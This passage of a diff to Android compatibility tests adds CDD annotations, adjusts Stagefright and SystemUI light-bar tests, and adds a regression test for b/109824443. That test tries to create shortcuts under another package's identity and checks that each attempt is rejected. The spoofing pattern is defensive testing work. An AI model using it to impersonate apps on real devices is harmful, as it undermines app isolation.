+    @CddTest(requirement="9.8.4/C-0-1,C-0-2")
     public void testNoAddedCertificates() throws Exception {
         Set<String> expectedCertificates = new HashSet<String>(
                 Arrays.asList(CertificateData.CERTIFICATE_DATA));
@@ -70,6 +74,7 @@
         assertEquals("Unknown CA certificates", Collections.EMPTY_SET, deviceCertificates);
     }
 
+    @CddTest(requirement="9.8.4/C-0-1")
     public void testBlockCertificates() throws Exception {
         Set<String> blockCertificates = new HashSet<String>();
         blockCertificates.add("C0:60:ED:44:CB:D8:81:BD:0E:F8:6C:0B:A2:87:DD:CF:81:67:47:8C");
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 07b39de..f7b279a 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import android.platform.test.annotations.SecurityTest;
@@ -49,6 +50,7 @@
         return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL;
     }
 
+    @CddTest(requirement="9.9/C-2-1")
     public void testEncryption() throws Exception {
         if (!isRequired() || deviceIsEncrypted()) {
             return;
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 56e3e13..1a2f620 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -26,6 +26,7 @@
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -74,6 +75,7 @@
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
         for (String serviceName : cachedServices) {
@@ -82,6 +84,7 @@
         }
     }
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
             IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 8903aec..378f0a6 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -17,7 +17,6 @@
 package android.security.cts;
 
 import android.content.pm.PackageManager;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import junit.framework.AssertionFailedError;
@@ -40,7 +39,6 @@
  * into computer systems remotely, and minimizing the number of open ports
  * is considered a security best practice.
  */
-@SecurityTest
 public class ListeningPortsTest extends AndroidTestCase {
     private static final String TAG = "ListeningPortsTest";
 
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..4a8cc780 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -124,7 +124,8 @@
         FutureTask<Point> task = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
             viewHolder[0].getLocationOnScreen(viewLocation);
-            return new Point(viewLocation[0], viewLocation[1]);
+            // Set y position to the center of the view, to make sure it is away from the status bar
+            return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2);
         });
         mActivity.runOnUiThread(task);
         Point viewLocation = task.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index d096d25..1192e30 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -75,11 +75,6 @@
      ***********************************************************/
 
     @SecurityTest
-    public void testStagefright_bug_64710074() throws Exception {
-        doStagefrightTest(R.raw.bug_64710074);
-    }
-
-    @SecurityTest
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643);
     }
@@ -244,7 +239,7 @@
      ***********************************************************/
 
     @SecurityTest
-    public void testStagefright_b72165027() throws Exception {
+    public void testStagefright_bug_72165027() throws Exception {
         doStagefrightTest(R.raw.bug_72165027);
     }
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
index ee92b8c..bf3562b 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
@@ -21,6 +21,14 @@
     <application>
         <activity android:name="Launcher" android:enabled="true" android:exported="false">
         </activity>
+
+        <activity-alias android:name="HomeActivity"
+            android:targetActivity="Launcher">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity-alias>
     </application>
 </manifest>
 
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index c0f76a6..99c7dc1 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -129,6 +129,8 @@
         assertExpectException(NullPointerException.class, "action must be set",
                 () -> new ShortcutInfo.Builder(getTestContext(), "id").setIntent(new Intent()));
 
+        setCurrentCaller(getTestContext());
+
         assertExpectException(
                 IllegalArgumentException.class, "Short label must be provided", () -> {
                     ShortcutInfo si = new ShortcutInfo.Builder(getTestContext(), "id")
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
new file mode 100644
index 0000000..baa47b0
--- /dev/null
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertExpectException;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommand;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.ShortcutInfo;
+import android.platform.test.annotations.SecurityTest;
+import android.support.test.InstrumentationRegistry;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Assume;
+
+/**
+ * CTS for b/109824443.
+ */
+@SmallTest
+@SecurityTest
+public class ShortcutManagerFakingPublisherTest extends ShortcutManagerCtsTestsBase {
+    private static final String ANOTHER_PACKAGE =
+            "android.content.pm.cts.shortcutmanager.packages.package4";
+
+    private static final ComponentName ANOTHER_HOME_ACTIVITY = new ComponentName(
+            ANOTHER_PACKAGE, "android.content.pm.cts.shortcutmanager.packages.HomeActivity");
+
+    private static final String INVALID_ID =
+            "[ShortcutManagerFakingPublisherTest.shortcut_that_should_not_be_created]";
+
+    @Override
+    protected String getOverrideConfig() {
+        return "reset_interval_sec=999999,"
+                + "max_updates_per_interval=999999,"
+                + "max_shortcuts=10"
+                + "max_icon_dimension_dp=96,"
+                + "max_icon_dimension_dp_lowram=96,"
+                + "icon_format=PNG,"
+                + "icon_quality=100";
+    }
+
+    public void testSpoofingPublisher() {
+        final Context myContext = getTestContext();
+        final Context anotherContext;
+        try {
+            anotherContext = getTestContext().createPackageContext(ANOTHER_PACKAGE, 0);
+        } catch (NameNotFoundException e) {
+            fail("Unable to create package context for " + ANOTHER_PACKAGE);
+            return;
+        }
+        final ShortcutInfo invalid = new ShortcutInfo.Builder(anotherContext, INVALID_ID)
+                .setShortLabel(INVALID_ID)
+                .setIntent(new Intent(Intent.ACTION_VIEW))
+                .setActivity(ANOTHER_HOME_ACTIVITY)
+                .build();
+
+        // Check set.
+        runWithCaller(mPackageContext1, () -> {
+            getManager().removeAllDynamicShortcuts();
+
+            assertShortcutPackageMismatch("setDynamicShortcuts1", mPackageContext1, () -> {
+                getManager().setDynamicShortcuts(list(
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("setDynamicShortcuts2A", mPackageContext1, () -> {
+                getManager().setDynamicShortcuts(list(
+                        invalid,
+                        makeShortcut("s1", "title1")));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("setDynamicShortcuts2B", mPackageContext1, () -> {
+                getManager().setDynamicShortcuts(list(
+                        makeShortcut("s1", "title1"),
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+        });
+
+        // Check add.
+        runWithCaller(mPackageContext1, () -> {
+            getManager().removeAllDynamicShortcuts();
+
+            assertShortcutPackageMismatch("addDynamicShortcuts1", mPackageContext1, () -> {
+                getManager().addDynamicShortcuts(list(
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("addDynamicShortcuts2A", mPackageContext1, () -> {
+                getManager().addDynamicShortcuts(list(
+                        invalid,
+                        makeShortcut("s1", "title1")));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("addDynamicShortcuts2B", mPackageContext1, () -> {
+                getManager().addDynamicShortcuts(list(
+                        makeShortcut("s1", "title1"),
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+        });
+
+        // Check update.
+        runWithCaller(mPackageContext1, () -> {
+            getManager().removeAllDynamicShortcuts();
+
+            assertShortcutPackageMismatch("updateShortcuts1", mPackageContext1, () -> {
+                getManager().updateShortcuts(list(
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("updateShortcuts2A", mPackageContext1, () -> {
+                getManager().updateShortcuts(list(
+                        invalid,
+                        makeShortcut("s1", "title1")));
+            });
+            assertInvalidShortcutNotCreated();
+            assertShortcutPackageMismatch("updateShortcuts2B", mPackageContext1, () -> {
+                getManager().updateShortcuts(list(
+                        makeShortcut("s1", "title1"),
+                        invalid));
+            });
+            assertInvalidShortcutNotCreated();
+        });
+
+        // requestPin (API26 and above)
+        runWithCaller(mPackageContext1, () -> {
+            getManager().removeAllDynamicShortcuts();
+
+            assertShortcutPackageMismatch("requestPinShortcut", mPackageContext1, () -> {
+                getManager().requestPinShortcut(invalid, null);
+            });
+            assertInvalidShortcutNotCreated();
+        });
+
+        // createShortcutResultIntent (API26 and above)
+        runWithCaller(mPackageContext1, () -> {
+            getManager().removeAllDynamicShortcuts();
+
+            assertShortcutPackageMismatch("createShortcutResultIntent", mPackageContext1, () -> {
+                getManager().createShortcutResultIntent(invalid);
+            });
+            assertInvalidShortcutNotCreated();
+        });
+    }
+
+    private void assertInvalidShortcutNotCreated() {
+        for (String s : runCommand(InstrumentationRegistry.getInstrumentation(),
+                "dumpsys shortcut")) {
+            assertFalse("dumpsys shortcut contained invalid ID", s.contains(INVALID_ID));
+        }
+    }
+
+    private void assertShortcutPackageMismatch(String method, Context callerContext, Runnable r) {
+        assertExpectException(
+                "Caller=" + callerContext.getPackageName() + ", method=" + method,
+                SecurityException.class, "Shortcut package name mismatch",
+                () -> runWithCaller(callerContext, () -> r.run())
+        );
+    }
+}
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 573e2ee..ba284f5 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test compatibility-device-util
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..3f43bdf 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -26,6 +26,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -74,6 +76,7 @@
                     new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS))
     };
 
+    @CddTest(requirement="3.8.3.3/C-1-1,3.2.3.5/C-1-1,7.4.7/C-1-2,C-2-3,6.2/C-0-1")
     @Test
     public void testSystemIntents() {
         final PackageManager pm = getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 6ba1e77..b096ced 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -30,7 +30,8 @@
     ctstestrunner \
     android-support-test \
     legacy-android-test \
-    ub-uiautomator
+    ub-uiautomator \
+    compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index 453640d..8b2c06f 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -22,9 +22,11 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <application>
         <activity android:name=".LightBarActivity"
-                android:theme="@android:style/Theme.Material.NoActionBar"></activity>
+                android:theme="@android:style/Theme.Material.NoActionBar"
+                android:screenOrientation="portrait"></activity>
         <activity android:name=".LightBarThemeActivity"
-            android:theme="@style/LightBarTheme"></activity>
+                android:theme="@style/LightBarTheme"
+                android:screenOrientation="portrait"></activity>
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/systemui/res/values/colors.xml b/tests/tests/systemui/res/values/colors.xml
index 6f0558a..d16ae02 100644
--- a/tests/tests/systemui/res/values/colors.xml
+++ b/tests/tests/systemui/res/values/colors.xml
@@ -15,5 +15,6 @@
   ~ limitations under the License
   -->
 <resources>
+    <color name="navigationBarColor">#0000ff</color>
     <color name="navigationBarDividerColor">#ff0000</color>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/res/values/styles.xml b/tests/tests/systemui/res/values/styles.xml
index dd95114..3a546b3 100644
--- a/tests/tests/systemui/res/values/styles.xml
+++ b/tests/tests/systemui/res/values/styles.xml
@@ -19,7 +19,7 @@
     <style name="LightBarTheme" parent="@android:style/Theme.Material.Light.NoActionBar">
         <item name="android:windowLightStatusBar">true</item>
         <item name="android:windowLightNavigationBar">true</item>
-        <item name="android:navigationBarColor">@android:color/white</item>
+        <item name="android:navigationBarColor">@color/navigationBarColor</item>
         <item name="android:navigationBarDividerColor">@color/navigationBarDividerColor</item>
     </style>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
index 1b228f3..b4c4e38 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -16,10 +16,12 @@
 
 package android.systemui.cts;
 
+import android.annotation.MainThread;
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.View;
 import android.view.ViewGroup.LayoutParams;
+import android.view.WindowInsets;
 
 public class LightBarBaseActivity extends Activity {
 
@@ -34,6 +36,11 @@
         setContentView(mContent);
     }
 
+    @MainThread
+    public WindowInsets getRootWindowInsets() {
+        return getWindow().getDecorView().getRootWindowInsets();
+    }
+
     public int getSystemUiVisibility() {
         return mContent.getWindowSystemUiVisibility();
     }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index d4c7862..f1d52a1 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -17,11 +17,20 @@
 package android.systemui.cts;
 
 import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.graphics.Bitmap;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
-import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
+import android.view.WindowInsets;
 
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -63,9 +72,70 @@
         }
     }
 
-    protected boolean hasVirtualNavigationBar() {
-        boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
-        boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
-        return !hasBackKey || !hasHomeKey;
+    private boolean hasVirtualNavigationBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
+            throws Throwable {
+        final WindowInsets[] inset = new WindowInsets[1];
+        rule.runOnUiThread(()-> {
+            inset[0] = rule.getActivity().getRootWindowInsets();
+        });
+        return inset[0].getStableInsetBottom() > 0;
+    }
+
+    private boolean isRunningInVr() {
+        final Context context = InstrumentationRegistry.getContext();
+        final Configuration config = context.getResources().getConfiguration();
+        return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
+                == Configuration.UI_MODE_TYPE_VR_HEADSET;
+    }
+
+    private void assumeBasics() {
+        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
+        // No bars on embedded devices.
+        assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_EMBEDDED));
+
+        // No bars on TVs and watches.
+        assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+
+        // Non-highEndGfx devices don't do colored system bars.
+        assumeTrue(ActivityManager.isHighEndGfx());
+    }
+
+    protected void assumeHasColoredStatusBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
+            throws Throwable {
+        assumeBasics();
+
+        // No status bar when running in Vr
+        assumeFalse(isRunningInVr());
+
+        final WindowInsets[] inset = new WindowInsets[1];
+        rule.runOnUiThread(()-> {
+            inset[0] = rule.getActivity().getRootWindowInsets();
+        });
+        assumeTrue("Top stable inset is non-positive.", inset[0].getStableInsetTop() > 0);
+    }
+
+    protected void assumeHasColorNavigationBar (
+            ActivityTestRule<? extends LightBarBaseActivity> rule) throws Throwable {
+        assumeBasics();
+
+        // No virtual navigation bar, so no effect.
+        assumeTrue(hasVirtualNavigationBar(rule));
+    }
+
+    protected void checkNavigationBarDivider(LightBarBaseActivity activity, int dividerColor) {
+        final Bitmap bitmap = takeNavigationBarScreenshot(activity);
+        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+        for (int col = 0; col < bitmap.getWidth(); col++) {
+            if (dividerColor != pixels[col]) {
+                dumpBitmap(bitmap);
+                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+            }
+        }
     }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index eccb16d..4ca0873 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -39,11 +39,12 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Test for light status bar.
  *
- * mmma cts/tests/tests/systemui
- * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ * atest CtsSystemUiTestCases:LightBarTests
  */
 @RunWith(AndroidJUnit4.class)
 public class LightBarTests extends LightBarTestBase {
@@ -56,8 +57,7 @@
      * Color may be slightly off-spec when resources are resized for lower densities. Use this error
      * margin to accommodate for that when comparing colors.
      */
-    private static final int COLOR_COMPONENT_ERROR_MARGIN = 10;
-
+    private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
     private final String NOTIFICATION_TAG = "TEST_TAG";
     private final String NOTIFICATION_CHANNEL_ID = "test_channel";
     private final String NOTIFICATION_GROUP_KEY = "test_group";
@@ -67,28 +67,17 @@
     public ActivityTestRule<LightBarActivity> mActivityRule = new ActivityTestRule<>(
             LightBarActivity.class);
 
+    @CddTest(requirement="3.8.6/C-2-2")
     @Test
     public void testLightStatusBarIcons() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
+
         mNm = (NotificationManager) getInstrumentation().getContext()
                 .getSystemService(Context.NOTIFICATION_SERVICE);
         NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
                 NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
         mNm.createNotificationChannel(channel1);
 
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || isRunningInVR()) {
-            // No status bar on TVs, watches and when running in VR.
-            return;
-        }
-
-        if (!ActivityManager.isHighEndGfx()) {
-            // non-highEndGfx devices don't do colored system bars.
-            return;
-        }
-
         // post 10 notifications to ensure enough icons in the status bar
         for (int i = 0; i < 10; i++) {
             Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
@@ -99,39 +88,60 @@
                     .setGroup(NOTIFICATION_GROUP_KEY);
             mNm.notify(NOTIFICATION_TAG, i, noti1.build());
         }
+        Thread.sleep(WAIT_TIME);
+        Bitmap beforeBitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
 
         requestLightBars(Color.RED /* background */);
         Thread.sleep(WAIT_TIME);
 
         Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
-        assertLightStats(bitmap, s);
+        Bitmap result = treatCutoutAsBackground(beforeBitmap, bitmap);
+        if (beforeBitmap != null) {
+            beforeBitmap.recycle();
+        }
+        if (bitmap != null && bitmap != result) {
+            bitmap.recycle();
+        }
+
+        Stats s = evaluateLightBarBitmap(result, Color.RED /* background */);
+        assertLightStats(result, s);
 
         mNm.cancelAll();
         mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
     }
 
+    private Bitmap treatCutoutAsBackground(Bitmap before, Bitmap after) {
+        if (before == null || after == null || before.getWidth() != after.getWidth()
+                || before.getHeight() != after.getHeight()) {
+            return after;
+        }
+
+        Bitmap result = after.copy(Bitmap.Config.ARGB_8888, true);
+
+        final int width = before.getWidth();
+        final int height = after.getHeight();
+        int[] beforePixels = new int[height * width];
+        before.getPixels(beforePixels, 0, width, 0, 0, width, height);
+        int[] afterPixels = new int[height * width];
+        after.getPixels(afterPixels, 0, width, 0, 0, width, height);
+
+        for (int i = 0; i < height; i++) {
+            for (int j = 0; j < width; j++) {
+                int cBefore = beforePixels[i * width + j];
+                int cAfter = afterPixels[i * width + j];
+
+                if (cBefore == cAfter && Color.luminance(cAfter) < 0.01f) {
+                    result.setPixel(j, i, Color.RED);
+                }
+            }
+        }
+
+        return result;
+    }
+
     @Test
     public void testLightNavigationBar() throws Throwable {
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            // No navigation bar on TVs and watches.
-            // Car navigation is not transparent.
-            return;
-        }
-
-        if (!ActivityManager.isHighEndGfx()) {
-            // non-highEndGfx devices don't do colored system bars.
-            return;
-        }
-
-        if (!hasVirtualNavigationBar()) {
-            // No virtual navigation bar, so no effect.
-            return;
-        }
+        assumeHasColorNavigationBar(mActivityRule);
 
         requestLightBars(Color.RED /* background */);
         Thread.sleep(WAIT_TIME);
@@ -190,14 +200,6 @@
         }
     }
 
-    private boolean isRunningInVR() {
-        final android.content.Context context =
-            android.support.test.InstrumentationRegistry.getContext();
-        android.content.res.Configuration config = context.getResources().getConfiguration();
-        return (config.uiMode & android.content.res.Configuration.UI_MODE_TYPE_MASK)
-        == android.content.res.Configuration.UI_MODE_TYPE_VR_HEADSET;
-    }
-
     private void assertMoreThan(String what, float expected, float actual, String hint) {
         if (!(actual > expected)) {
             fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
@@ -253,6 +255,15 @@
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+        float [] hsvMixedIconColor = new float[3];
+        float [] hsvMixedPartialColor = new float[3];
+        Color.RGBToHSV(Color.red(mixedIconColor), Color.green(mixedIconColor),
+                Color.blue(mixedIconColor), hsvMixedIconColor);
+        Color.RGBToHSV(Color.red(mixedIconPartialColor), Color.green(mixedIconPartialColor),
+                Color.blue(mixedIconPartialColor), hsvMixedPartialColor);
+
+        float maxHsvValue = Math.max(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
+        float minHsvValue = Math.min(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
 
         int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
@@ -260,14 +271,17 @@
         Stats s = new Stats();
         float eps = 0.005f;
 
+        float [] hsvPixel = new float[3];
         for (int c : pixels) {
-            if (c == background) {
+            if (isColorSame(c, background)) {
                 s.backgroundPixels++;
                 continue;
             }
 
             // What we expect the icons to be colored according to the spec.
-            if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)) {
+            Color.RGBToHSV(Color.red(c), Color.green(c), Color.blue(c), hsvPixel);
+            if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)
+                    || (hsvPixel[2] >= minHsvValue && hsvPixel[2] <= maxHsvValue)) {
                 s.iconPixels++;
                 continue;
             }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index 1ce3c1b..f8661d2 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -17,6 +17,7 @@
 package android.systemui.cts;
 
 import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -35,8 +36,7 @@
 /**
  * Tests for light system bars that set the flag via theme.
  *
- * mmma cts/tests/tests/systemui
- * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarThemeTest --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ * atest CtsSystemUiTestCases:LightBarThemeTest
  */
 @RunWith(AndroidJUnit4.class)
 public class LightBarThemeTest extends LightBarTestBase {
@@ -60,31 +60,13 @@
     }
 
     @Test
-    public void testNavigationBarDivider() throws Exception {
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            // Car navigation is not transparent
-            return;
-        }
-
-        if (!hasVirtualNavigationBar()) {
-            // No virtual navigation bar, so no effect.
-            return;
-        }
+    public void testNavigationBarDividerColor() throws Throwable {
+        assumeHasColorNavigationBar(mActivityRule);
 
         // Wait until the activity is fully visible
         mDevice.waitForIdle();
 
-        final int dividerColor = getInstrumentation().getContext().getColor(
-                R.color.navigationBarDividerColor);
-        final Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
-        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
